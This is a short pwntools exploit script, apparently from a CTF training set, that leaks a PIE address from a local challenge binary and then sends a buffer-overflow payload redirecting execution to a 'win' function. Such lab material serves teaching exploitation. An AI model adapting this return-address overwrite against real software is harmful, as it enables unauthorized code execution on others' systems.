# +------------------------------------------------+
# | Atack: Bof Win Function Infoleak               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *

import sf

target = process("./chall-test_BofFunc-07-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("The sin, and the sentence: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
pie_base = leak - (1773)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x28)
bof_payload.set_ret(0x6da, "pie")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Nightmare                                |
# +------------------------------------------------+
# | You should have known                          |
# | the price of evil                              |
# +------------------------------------------------+

